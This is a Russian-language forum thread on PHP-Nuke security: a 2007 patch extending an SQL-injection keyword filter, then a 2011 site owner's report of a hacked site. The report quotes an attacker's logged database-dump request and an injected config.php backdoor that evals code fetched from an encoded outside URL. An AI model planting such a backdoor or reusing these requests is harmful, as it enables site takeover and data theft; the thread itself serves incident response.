|
|
|
|
|
|
|
|
|
Дыра в фильтре Sql-инъекций
| |
#1 | |
|
18.04.2007, 14:24
Продукт: PHP-Nuke
Версия: 8.0
Описание:
Уязвимость позволяет в некоторых случаях обойти фильтрацию входных данных на наличие SQL-инъекций
Устранение:
Открываем mainfile.php
Находим (133 строка):
PHP код:
if (stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'/*') OR stripos_clone($queryString,'*/union/*') OR stripos_clone($queryString,'c2nyaxb0') OR stripos_clone($queryString,'+union+') OR (stripos_clone($queryString,'cmd=') AND !stripos_clone($queryString,'&cmd')) OR (stripos_clone($queryString,'exec') AND !stripos_clone($queryString,'execu')) OR stripos_clone($queryString,'concat')) {
Изменяем на:
PHP код:
if (stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'*%2f*') OR stripos_clone($queryString,'/*') OR stripos_clone($queryString,'*/union/*') OR stripos_clone($queryString,'c2nyaxb0') OR stripos_clone($queryString,'+union+') OR (stripos_clone($queryString,'cmd=') AND !stripos_clone($queryString,'&cmd')) OR (stripos_clone($queryString,'exec') AND !stripos_clone($queryString,'execu')) OR stripos_clone($queryString,'concat')) {
|
|
|
|
|
|
"Если бы вам удалось надавать под зад человеку, виноватому в большинстве ваших неприятностей - вы бы неделю не смогли сидеть". |
|
|
|
|
|
|
|
|
|
|
|
|
08.01.2011, 13:47
Новую тему создать не могу, поэтому пиши в этой.
С наступившим Новым годом и рождеством всех! :)
Наблюдаю появление вредоносного кода в таблице blocks.
см. вложение: http://forum.mynuke.ru/attachment.p...entid=345&stc=1
Подозреваю, что это SQL-инъекция.
Каким образом от этого защититься?
|
|
|
|
|
|
|
08.01.2011, 17:15
какая у вас версия системы установлена?
если это не давно произошло, то есть возможность отследить по логам посещения - с каким запросам такое произошло.
|
|
|
|
|
|
"Если бы вам удалось надавать под зад человеку, виноватому в большинстве ваших неприятностей - вы бы неделю не смогли сидеть". |
|
|
|
|
|
|
|
|
|
08.01.2011, 19:38
Недавно.
Версия старая. 7.0 еще + MyNukeSecurity
|
|
|
|
|
|
|
08.01.2011, 23:47
лог скачал.
теперь вопрос: по какому слову искать в логе? что вводить при поиске, чтобы найти то место, через что взломали?
|
|
|
|
|
|
|
09.01.2011, 15:04
если известно промежуток времени когдта появилась запись в таблице, то тогда следует в это время искать, смотреть стоит наверное на запросы Post сначала к вашему сайту, какие то не стандартные. что конкретно искать сложно сказать. это может быть даже запрос в котором передается ссылка (обычно на иностранный сайт), по которому мог и загрузиться эксплоид.
|
|
|
|
|
|
"Если бы вам удалось надавать под зад человеку, виноватому в большинстве ваших неприятностей - вы бы неделю не смогли сидеть". |
|
|
|
|
|
|
|
|
|
09.01.2011, 22:54
Запросы POST посмотрел примерно в том месте, пока ничего не нашел...
И все-таки не пойму, по какому слову делать поисковый запрос, если логи выглядят так:
89.185.92.*** - - [07/Jan/2011:13:57:42 +0500] "POST /modules.php?name=Your_Account HTTP/1.0" 200 44026
"modules.php?name=Your_Account&op=new_user" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19"
|
|
|
|
|
|
|
09.01.2011, 23:52
airman2000 предсказать какой именно запрос нужно искать сказать сложно, данный запрос считается нормальным.
|
|
|
|
|
|
"Если бы вам удалось надавать под зад человеку, виноватому в большинстве ваших неприятностей - вы бы неделю не смогли сидеть". |
|
|
|
|
|
|
|
|
|
12.01.2011, 09:53
И снова хакают сайт
Каким-то образом вставляют код в поле content в таблице мойпрефикс_blocks
Как это запретить?
Более того, обнаружил после у себя в папке модуля NukeC закаченный File manager
А MyNukeSecurity руганулась вот так:
IP: 78.46.102.***
USER: *****
URL: /modules.php?name=nukeC
POST variables:
a = Sql
p1 = select
p2 = magaz
c = /var/www/admin/мой_сайт
charset =
type = mysql
sql_host = localhost
sql_login = мой_логин
sql_pass = мой_пароль
sql_base = мой_база
file = dump.sql
Module: nukeC
Refer: http://www.мойсайт/modules.php?name=nukeC&2
А в файле config.php в модуле NukeC был вставлен такой код:
Код:
if(isset($_GET[2])){eval(file_get_contents(urldecode('%68%74%74%70% 3A%2F%2F%63%6D%65%78%2E%74%75%6C%61%2D%6E%65%74%2E %72%75%2F%6E%65%77%73%2F%64%61%74%61%2F%31%2E%74%7 8%74')));die();}
Помогите, что сделать?
|
|
|
|
|
|
|
12.01.2011, 13:26
И снова это повторилось.
Выяснил, что происходит.
Обычный блок файла php подменяется на HTML-блок, с вредоносным кодом внутри. При чем название блока не трогается.
Полагаю, это делается через базу в таблице blocks?
|
|
|
|
|
|
Опции темы |
Поиск в этой теме |
|
|
Опции просмотра |
Линейный вид
|
Ваши права в разделе
|
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения
HTML код Выкл.
|
|
|
Часовой пояс GMT +4, время: 17:44.
|
|
|
|
|
|
|
|
|
|
|
|
|